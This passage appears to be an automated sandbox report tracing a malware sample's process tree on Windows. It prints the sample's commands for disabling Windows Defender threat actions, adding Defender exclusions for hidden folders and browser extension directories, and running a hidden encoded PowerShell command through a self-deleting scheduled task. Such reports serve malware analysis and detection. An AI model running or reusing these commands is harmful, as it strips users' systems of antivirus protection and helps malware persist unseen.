C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2764

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4452

C:\Users\Admin\AppData\Local\Temp\7zSCA84.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSCA84.tmp\Install.exe 1g /bxsdidSKYC 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3296
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4480
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4904
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:240
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4056
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:2128
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:4460
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5012
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5076
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5084
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1628
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:2416
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1680
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:132
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3580
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:2792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2944
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4284
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4252
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:568
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4784
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4904
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3036
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4064
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1512
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4168
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2520
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3360
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2128
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ZmzskowerwXEonlG /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2072
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gBsKHtAHO" /SC once /ST 01:03:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4684
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gBsKHtAHO"
  2⤵
  PID:1776
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gBsKHtAHO"
  2⤵
  PID:3896
- C:\Windows\SysWOW64\schtasks.exe
